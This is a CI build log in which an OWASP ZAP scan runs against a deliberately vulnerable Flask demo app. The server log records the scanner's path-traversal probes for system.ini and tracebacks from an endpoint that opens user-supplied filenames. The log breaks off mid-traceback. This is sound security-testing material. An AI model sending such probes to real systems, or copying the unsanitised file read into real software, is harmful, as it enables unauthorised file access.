travis-log.txt

Worker information
hostname: d8987a5b-5eae-48e5-b649-3d8a6c0575d3@1.production-5-worker-org-b-2-gce
version: v3.1.0 https://github.com/travis-ci/worker/tree/5b106cb773802277034d07b0a865af58d67bb1d2
instance: testing-gce-d9bccb31-5ee7-4eb9-9a56-e70b5033d2d6:travis-ci-garnet-trusty-1503972833 (via amqp)
startup: 21.354453074s
Build system information
Build language: python
Build group: stable
Build dist: trusty
Build id: 289390761
Job id: 289390762
Runtime kernel version: 4.4.0-93-generic
travis-build version: b304606a3
Build image provisioning date and time
Tue Aug 29 02:48:34 UTC 2017
Operating System Details
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
Cookbooks Version
4642454 https://github.com/travis-ci/travis-cookbooks/tree/4642454
git version
git version 2.14.1
bash version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)
gcc version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

docker version
Client:
 Version:      17.03.1-ce
 API version:  1.27
 Go version:   go1.7.5
 Git commit:   c6d412e
 Built:        Mon Mar 27 17:10:36 2017
 OS/Arch:      linux/amd64

Server:
 Version:      17.03.1-ce
 API version:  1.27 (minimum version 1.12)
 Go version:   go1.7.5
 Git commit:   c6d412e
 Built:        Mon Mar 27 17:10:36 2017
 OS/Arch:      linux/amd64
 Experimental: false
clang version
clang version 3.9.0 (tags/RELEASE_390/final)
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /usr/local/clang-3.9.0/bin
jq version
jq-1.5
bats version
Bats 0.4.0
shellcheck version
0.4.6
shfmt version
v1.3.1
ccache version
ccache version 3.1.9

Copyright (C) 2002-2007 Andrew Tridgell
Copyright (C) 2009-2011 Joel Rosdahl

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 3 of the License, or (at your option) any later
version.
cmake version
cmake version 3.2.2

CMake suite maintained and supported by Kitware (kitware.com/cmake).
heroku version
heroku-cli/6.13.19-6cd27b3 (linux-x64) node-v8.3.0
imagemagick version
Version: ImageMagick 6.7.7-10 2017-07-31 Q16 http://www.imagemagick.org
md5deep version
4.2
mercurial version
Mercurial Distributed SCM (version 4.2.2)
(see https://mercurial-scm.org for more information)

Copyright (C) 2005-2017 Matt Mackall and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
mysql version
mysql  Ver 14.14 Distrib 5.6.33, for debian-linux-gnu (x86_64) using  EditLine wrapper
openssl version
OpenSSL 1.0.1f 6 Jan 2014
packer version
Packer v1.0.2

Your version of Packer is out of date! The latest version
is 1.0.4. You can update by downloading from www.packer.io
postgresql client version
psql (PostgreSQL) 9.6.4
ragel version
Ragel State Machine Compiler version 6.8 Feb 2013
Copyright (c) 2001-2009 by Adrian Thurston
subversion version
svn, version 1.8.8 (r1568071)
   compiled Aug 10 2017, 17:20:39 on x86_64-pc-linux-gnu

Copyright (C) 2013 The Apache Software Foundation.
This software consists of contributions made by many people;
see the NOTICE file for more information.
Subversion is open source software, see http://subversion.apache.org/

The following repository access (RA) modules are available:

* ra_svn : Module for accessing a repository using the svn network protocol.
  - with Cyrus SASL authentication
  - handles 'svn' scheme
* ra_local : Module for accessing a repository on local disk.
  - handles 'file' scheme
* ra_serf : Module for accessing a repository via WebDAV protocol using serf.
  - using serf 1.3.3
  - handles 'http' scheme
  - handles 'https' scheme

sudo version
Sudo version 1.8.9p5
Configure options: --prefix=/usr -v --with-all-insults --with-pam --with-fqdn --with-logging=syslog --with-logfac=authpriv --with-env-editor --with-editor=/usr/bin/editor --with-timeout=15 --with-password-timeout=0 --with-passprompt=[sudo] password for %p:  --without-lecture --with-tty-tickets --disable-root-mailer --enable-admin-flag --with-sendmail=/usr/sbin/sendmail --with-timedir=/var/lib/sudo --mandir=/usr/share/man --libexecdir=/usr/lib/sudo --with-sssd --with-sssd-lib=/usr/lib/x86_64-linux-gnu --with-selinux
Sudoers policy plugin version 1.8.9p5
Sudoers file grammar version 43

Sudoers path: /etc/sudoers
Authentication methods: 'pam'
Syslog facility if syslog is being used for logging: authpriv
Syslog priority to use when user authenticates successfully: notice
Syslog priority to use when user authenticates unsuccessfully: alert
Send mail if the user is not in sudoers
Use a separate timestamp for each user/tty combo
Lecture user the first time they run sudo
Root may run sudo
Allow some information gathering to give useful error messages
Require fully-qualified hostnames in the sudoers file
Visudo will honor the EDITOR environment variable
Set the LOGNAME and USER environment variables
Length at which to wrap log file lines (0 for no wrap): 80
Authentication timestamp timeout: 15.0 minutes
Password prompt timeout: 0.0 minutes
Number of tries to enter a password: 3
Umask to use or 0777 to use user's: 022
Path to mail program: /usr/sbin/sendmail
Flags for mail program: -t
Address to send mail to: root
Subject line for mail messages: *** SECURITY information for %h ***
Incorrect password message: Sorry, try again.
Path to authentication timestamp dir: /var/lib/sudo
Default password prompt: [sudo] password for %p: 
Default user to run commands as: root
Value to override user's $PATH with: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
Path to the editor for use by visudo: /usr/bin/editor
When to require a password for 'list' pseudocommand: any
When to require a password for 'verify' pseudocommand: all
File descriptors >= 3 will be closed before executing a command
Environment variables to check for sanity:
	TZ
	TERM
	LINGUAS
	LC_*
	LANGUAGE
	LANG
	COLORTERM
Environment variables to remove:
	RUBYOPT
	RUBYLIB
	PYTHONUSERBASE
	PYTHONINSPECT
	PYTHONPATH
	PYTHONHOME
	TMPPREFIX
	ZDOTDIR
	READNULLCMD
	NULLCMD
	FPATH
	PERL5DB
	PERL5OPT
	PERL5LIB
	PERLLIB
	PERLIO_DEBUG 
	JAVA_TOOL_OPTIONS
	SHELLOPTS
	GLOBIGNORE
	PS4
	BASH_ENV
	ENV
	TERMCAP
	TERMPATH
	TERMINFO_DIRS
	TERMINFO
	_RLD*
	LD_*
	PATH_LOCALE
	NLSPATH
	HOSTALIASES
	RES_OPTIONS
	LOCALDOMAIN
	CDPATH
	IFS
Environment variables to preserve:
	JAVA_HOME
	TRAVIS
	CI
	DEBIAN_FRONTEND
	XAUTHORIZATION
	XAUTHORITY
	PS2
	PS1
	PATH
	LS_COLORS
	KRB5CCNAME
	HOSTNAME
	HOME
	DISPLAY
	COLORS
Locale to use while parsing sudoers: C
Directory in which to store input/output logs: /var/log/sudo-io
File in which to store the input/output log: %{seq}
Add an entry to the utmp/utmpx file when allocating a pty
PAM service name to use
PAM service name to use for login shells
Create a new PAM session for the command to run in
Maximum I/O log sequence number: 0

Local IP address and netmask pairs:
	10.240.0.10/255.255.255.255
	172.17.0.1/255.255.0.0

Sudoers I/O plugin version 1.8.9p5
gzip version
gzip 1.6
Copyright (C) 2007, 2010, 2011 Free Software Foundation, Inc.
Copyright (C) 1993 Jean-loup Gailly.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.

Written by Jean-loup Gailly.
zip version
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
This is Zip 3.0 (July 5th 2008), by Info-ZIP.
Currently maintained by E. Gordon.  Please send bug reports to
the authors using the web page at www.info-zip.org; see README for details.

Latest sources and executables are at ftp://ftp.info-zip.org/pub/infozip,
as of above date; see http://www.info-zip.org/ for other sites.

Compiled with gcc 4.8.2 for Unix (Linux ELF) on Oct 21 2013.

Zip special compilation options:
	USE_EF_UT_TIME       (store Universal Time)
	BZIP2_SUPPORT        (bzip2 library version 1.0.6, 6-Sept-2010)
	    bzip2 code and library copyright (c) Julian R Seward
	    (See the bzip2 license for terms of use)
	SYMLINK_SUPPORT      (symbolic links supported)
	LARGE_FILE_SUPPORT   (can read and write large files on file system)
	ZIP64_SUPPORT        (use Zip64 to store large files in archives)
	UNICODE_SUPPORT      (store and read UTF-8 Unicode paths)
	STORE_UNIX_UIDs_GIDs (store UID/GID sizes/values using new extra field)
	UIDGID_NOT_16BIT     (old Unix 16-bit UID/GID extra field not used)
	[encryption, version 2.91 of 05 Jan 2007] (modified for Zip 3)

Encryption notice:
	The encryption code of this program is not copyrighted and is
	put in the public domain.  It was originally written in Europe
	and, to the best of our knowledge, can be freely distributed
	in both source and object forms from any country, including
	the USA under License Exception TSU of the U.S. Export
	Administration Regulations (section 740.13(e)) of 6 June 2002.

Zip environment options:
             ZIP:  [none]
          ZIPOPT:  [none]
vim version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 24 2016 16:43:18)
Included patches: 1-52
Extra patches: 8.0.0056
Modified by pkg-vim-maintainers@lists.alioth.debian.org
Compiled by buildd@
Huge version without GUI.  Features included (+) or not (-):
+acl             +farsi           +mouse_netterm   +syntax
+arabic          +file_in_path    +mouse_sgr       +tag_binary
+autocmd         +find_in_path    -mouse_sysmouse  +tag_old_static
-balloon_eval    +float           +mouse_urxvt     -tag_any_white
-browse          +folding         +mouse_xterm     -tcl
++builtin_terms  -footer          +multi_byte      +terminfo
+byte_offset     +fork()          +multi_lang      +termresponse
+cindent         +gettext         -mzscheme        +textobjects
-clientserver    -hangul_input    +netbeans_intg   +title
-clipboard       +iconv           +path_extra      -toolbar
+cmdline_compl   +insert_expand   -perl            +user_commands
+cmdline_hist    +jumplist        +persistent_undo +vertsplit
+cmdline_info    +keymap          +postscript      +virtualedit
+comments        +langmap         +printer         +visual
+conceal         +libcall         +profile         +visualextra
+cryptv          +linebreak       +python          +viminfo
+cscope          +lispindent      -python3         +vreplace
+cursorbind      +listcmds        +quickfix        +wildignore
+cursorshape     +localmap        +reltime         +wildmenu
+dialog_con      -lua             +rightleft       +windows
+diff            +menu            -ruby            +writebackup
+digraphs        +mksession       +scrollbind      -X11
-dnd             +modify_fname    +signs           -xfontset
-ebcdic          +mouse           +smartindent     -xim
+emacs_tags      -mouseshape      -sniff           -xsmp
+eval            +mouse_dec       +startuptime     -xterm_clipboard
+ex_extra        +mouse_gpm       +statusline      -xterm_save
+extra_search    -mouse_jsbterm   -sun_workshop    -xpm
   system vimrc file: "$VIM/vimrc"
     user vimrc file: "$HOME/.vimrc"
 2nd user vimrc file: "~/.vim/vimrc"
      user exrc file: "$HOME/.exrc"
  fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1      
Linking: gcc   -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,--as-needed -o vim        -lm -ltinfo -lnsl  -lselinux  -lacl -lattr -lgpm -ldl    -L/usr/lib/python2.7/config-x86_64-linux-gnu -lpython2.7 -lpthread -ldl -lutil -lm -Xlinker -export-dynamic -Wl,-O1 -Wl,-Bsymbolic-functions      
iptables version
iptables v1.4.21
curl version
curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3
wget version
GNU Wget 1.15 built on linux-gnu.
rsync version
rsync  version 3.1.0  protocol version 31
gimme version
v1.2.0
nvm version
0.33.2
perlbrew version
/home/travis/perl5/perlbrew/bin/perlbrew  - App::perlbrew/0.80
phpenv version
rbenv 1.1.1-4-g4ebd1bd
rvm version
rvm 1.29.2 (latest) by Michal Papis, Piotr Kuczynski, Wayne E. Seguin [https://rvm.io/]
default ruby version
ruby 2.4.1p111 (2017-03-22 revision 58053) [x86_64-linux]
CouchDB version
couchdb 1.6.1
ElasticSearch version
5.5.0
Installed Firefox version
firefox 55.0.2
MongoDB version
MongoDB 3.2.16
Pre-installed PostgreSQL versions
9.2.22
9.3.18
9.4.13
9.5.8
9.6.4
RabbitMQ Version
3.6.11
Redis version
redis-server 4.0.1
riak version
2.2.3
Pre-installed Go versions
1.7.4
ant version
Apache Ant(TM) version 1.9.3 compiled on April 8 2014
mvn version
Apache Maven 3.5.0 (ff8f5e7444045639af65f6095c62210b5713f426; 2017-04-03T19:39:06Z)
Maven home: /usr/local/maven-3.5.0
Java version: 1.8.0_144, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-81-generic", arch: "amd64", family: "unix"
gradle version

------------------------------------------------------------
Gradle 4.0.1
------------------------------------------------------------

Build time:   2017-07-07 14:02:41 UTC
Revision:     38e5dc0f772daecca1d2681885d3d85414eb6826

Groovy:       2.4.11
Ant:          Apache Ant(TM) version 1.9.6 compiled on June 29 2015
JVM:          1.8.0_144 (Oracle Corporation 25.144-b01)
OS:           Linux 4.4.0-81-generic amd64

lein version
WARNING: You're currently running as root; probably by accident.
Press control-C to abort or Enter to continue as root.
Set LEIN_ROOT to disable this warning.
Leiningen 2.7.1 on Java 1.8.0_144 Java HotSpot(TM) 64-Bit Server VM
Pre-installed Node.js versions
v4.8.4
v6.11.2
v6.9.4
v7.4.0
v8.4
phpenv versions
  system
  5.6
* 5.6.31 (set by /home/travis/.phpenv/version)
  7.0
  7.0.22
  hhvm
  hhvm-stable
composer --version
Composer version 1.4.2 2017-05-17 08:17:52
Pre-installed Ruby versions
ruby-2.2.7
ruby-2.3.4
ruby-2.4.1

W: GPG error: http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.2 Release: The following signatures were invalid: KEYEXPIRED 1507497109
W: The repository 'http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.2 Release' is not signed.
W: http://dl.hhvm.com/ubuntu/dists/trusty/InRelease: Signature by key 36AEF64D0207E7EEE352D4875A16E7281BE7A449 uses weak digest algorithm (SHA1)
W: http://ppa.launchpad.net/couchdb/stable/ubuntu/dists/trusty/Release.gpg: Signature by key 15866BAFD9BCC4F3C1E0DFC7D69548E1C17EAB57 uses weak digest algorithm (SHA1)
Executing: /tmp/tmp.TmeHgSSvBR/gpg.1.sh --keyserver
hkp://keyserver.ubuntu.com:80
--recv
EA312927
gpg: requesting key EA312927 from hkp server keyserver.ubuntu.com
gpg: key EA312927: "MongoDB 3.2 Release Signing Key <packaging@mongodb.com>" 1 new signature
gpg: Total number processed: 1
gpg:         new signatures: 1
$ git clone --depth=50 --branch=master https://github.com/lokori/docker-zap-demo.git lokori/docker-zap-demo
Cloning into 'lokori/docker-zap-demo'...
remote: Counting objects: 80, done.
remote: Compressing objects: 100% (53/53), done.
remote: Total 80 (delta 35), reused 63 (delta 22), pack-reused 0
Unpacking objects: 100% (80/80), done.

$ cd lokori/docker-zap-demo
$ git checkout -qf 1cf46c46666c89d95b3fb781e9362b19e64e8bf1
$ sudo service docker start
start: Job is already running: docker

$ source ~/virtualenv/python2.7/bin/activate

$ python --version
Python 2.7.13
$ pip --version
pip 9.0.1 from /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages (python 2.7)
$ docker pull owasp/zap2docker-stable
Using default tag: latest
latest: Pulling from owasp/zap2docker-stable
























Digest: sha256:83561dd9a9cf3e4913e33ed5616a27dac690a012738391b950e8f65f2a333e36
Status: Downloaded newer image for owasp/zap2docker-stable:latest

$ pip install flask
Collecting flask
  Downloading Flask-0.12.2-py2.py3-none-any.whl (83kB)
    100% |████████████████████████████████| 92kB 2.8MB/s 
Collecting click>=2.0 (from flask)
  Downloading click-6.7-py2.py3-none-any.whl (71kB)
    100% |████████████████████████████████| 71kB 3.9MB/s 
Collecting Jinja2>=2.4 (from flask)
  Downloading Jinja2-2.9.6-py2.py3-none-any.whl (340kB)
    100% |████████████████████████████████| 348kB 3.5MB/s 
Collecting Werkzeug>=0.7 (from flask)
  Downloading Werkzeug-0.12.2-py2.py3-none-any.whl (312kB)
    100% |████████████████████████████████| 317kB 3.1MB/s 
Collecting itsdangerous>=0.21 (from flask)
  Downloading itsdangerous-0.24.tar.gz (46kB)
    100% |████████████████████████████████| 51kB 7.5MB/s 
Collecting MarkupSafe>=0.23 (from Jinja2>=2.4->flask)
  Downloading MarkupSafe-1.0.tar.gz
Building wheels for collected packages: itsdangerous, MarkupSafe
  Running setup.py bdist_wheel for itsdangerous ... - done
  Stored in directory: /home/travis/.cache/pip/wheels/fc/a8/66/24d655233c757e178d45dea2de22a04c6d92766abfb741129a
  Running setup.py bdist_wheel for MarkupSafe ... - \ done
  Stored in directory: /home/travis/.cache/pip/wheels/88/a7/30/e39a54a87bcbe25308fa3ca64e8ddc75d9b3e5afa21ee32d57
Successfully built itsdangerous MarkupSafe
Installing collected packages: click, MarkupSafe, Jinja2, Werkzeug, itsdangerous, flask
Successfully installed Jinja2-2.9.6 MarkupSafe-1.0 Werkzeug-0.12.2 click-6.7 flask-0.12.2 itsdangerous-0.24

Could not locate requirements.txt. Override the install: key in your .travis.yml to install dependencies.
$ ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:36:22:db:b2  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 42:01:0a:14:00:cc  
          inet addr:10.20.0.204  Bcast:10.20.0.204  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1460  Metric:1
          RX packets:38612 errors:0 dropped:0 overruns:0 frame:0
          TX packets:27789 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1405590457 (1.4 GB)  TX bytes:2093661 (2.0 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:31 errors:0 dropped:0 overruns:0 frame:0
          TX packets:31 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:18373 (18.3 KB)  TX bytes:18373 (18.3 KB)



The command "ifconfig" exited with 0.
$ ls -latr
total 80
drwxrwxr-x 3 travis travis 4096 Oct 18 08:03 ..
-rw-rw-r-- 1 travis travis  835 Oct 18 08:03 xss5.html
-rw-rw-r-- 1 travis travis  849 Oct 18 08:03 xss4.html
-rw-rw-r-- 1 travis travis  941 Oct 18 08:03 xss3.html
-rw-rw-r-- 1 travis travis  767 Oct 18 08:03 xss2.html
-rw-rw-r-- 1 travis travis  270 Oct 18 08:03 .travis.yml
drwxrwxr-x 2 travis travis 4096 Oct 18 08:03 target
-rwxrwxr-x 1 travis travis  411 Oct 18 08:03 start-and-scan.sh
-rwxrwxr-x 1 travis travis   67 Oct 18 08:03 run.sh
-rwxrwxr-x 1 travis travis  327 Oct 18 08:03 run-retirej.sh
-rwxrwxr-x 1 travis travis  162 Oct 18 08:03 run-gunicorn.sh
-rwxrwxr-x 1 travis travis  275 Oct 18 08:03 run-findsecbugs.sh
-rwxrwxr-x 1 travis travis  928 Oct 18 08:03 run-dependency-check.sh
-rw-rw-r-- 1 travis travis 1064 Oct 18 08:03 README.md
-rw-rw-r-- 1 travis travis 1071 Oct 18 08:03 LICENSE
drwxrwxr-x 2 travis travis 4096 Oct 18 08:03 js
-rw-rw-r-- 1 travis travis 1204 Oct 18 08:03 index.html
-rw-rw-r-- 1 travis travis 1699 Oct 18 08:03 flask-vuln.py
drwxrwxr-x 5 travis travis 4096 Oct 18 08:03 .
drwxrwxr-x 8 travis travis 4096 Oct 18 08:03 .git


The command "ls -latr" exited with 0.
$ chmod u+x *.sh


The command "chmod u+x *.sh" exited with 0.
$ ./start-and-scan.sh
 * Serving Flask app "flask-vuln"
 * Running on http://172.17.0.1:5000/ (Press CTRL+C to quit)
[INFO]            Starting ZAP daemon
[INFO]            Running a quick scan for http://172.17.0.1:5000
172.17.0.2 - - [18/Oct/2017 08:04:57] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:04:59] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /8821866223901922129 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
[2017-10-18 08:05:09,526] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'c:Windowssystem.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 500 -
[2017-10-18 08:05:09,536] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'c:\\Windows\\system.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 500 -
[2017-10-18 08:05:09,539] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'................................Windowssystem.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
[2017-10-18 08:05:09,545] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
[2017-10-18 08:05:09,555] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'................................Windowssystem.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=Windows%2Fsystem.ini HTTP/1.1" 200 -
[2017-10-18 08:05:09,558] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
